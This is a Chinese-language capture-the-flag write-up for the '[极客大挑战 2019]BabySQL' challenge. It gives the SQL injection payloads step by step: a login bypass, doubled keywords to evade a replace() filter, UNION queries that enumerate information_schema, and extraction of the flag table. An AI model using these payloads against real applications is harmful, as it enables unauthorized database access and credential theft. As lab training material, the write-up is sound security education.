[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

wp from Kuller_Yan

打开靶机,熟悉的极客大挑战界面
先尝试万能密码1' or 1=1 # 显示ERROER
但是仔细观察报错语句,似乎没有看到or
在这里插入图片描述
猜测后端使用replace()函数过滤,尝试双写or:1' oorr 1=1 #
正常回显,看来我们猜测的不错。
然后测试字段数:1' order by 3 #;ERROR ,尴尬,忘记了order里面也有or,而且by也被过滤了,所以双写:1' oorrder bbyy 3 #,回显正常,试下4:1' oorrder bbyy 4 #
在这里插入图片描述
说明字段数量为 3;
然后就是按流程
进行联合查询;1' union select 1,2,database() #
在这里插入图片描述
看起来,union,select,都被过滤了;
更改命令:1' uniunionon selselectect 1,2,database() #
得到库名 geek;
在这里插入图片描述
然后表名:1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
得到表名:b4bsql,geekuser

在这里插入图片描述
查下b4bsql里面的列1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql" #
列名:id,username,password
在这里插入图片描述
直接看username,password:1' uniunionon selselectect 1,username,passwoorrd frfromom b4bsql #
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我去,我flag呢????
然后想到可能找错库了,查看所有库:1' uniunionon selselectect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata) #
ctf库。。。
在这里插入图片描述
查表名:1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' #
在这里插入图片描述
查列:1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="Flag" #
在这里插入图片描述
直接查看。1' uniunionon selselectect 1,2,flag frfromom ctf.Flag #

在这里插入图片描述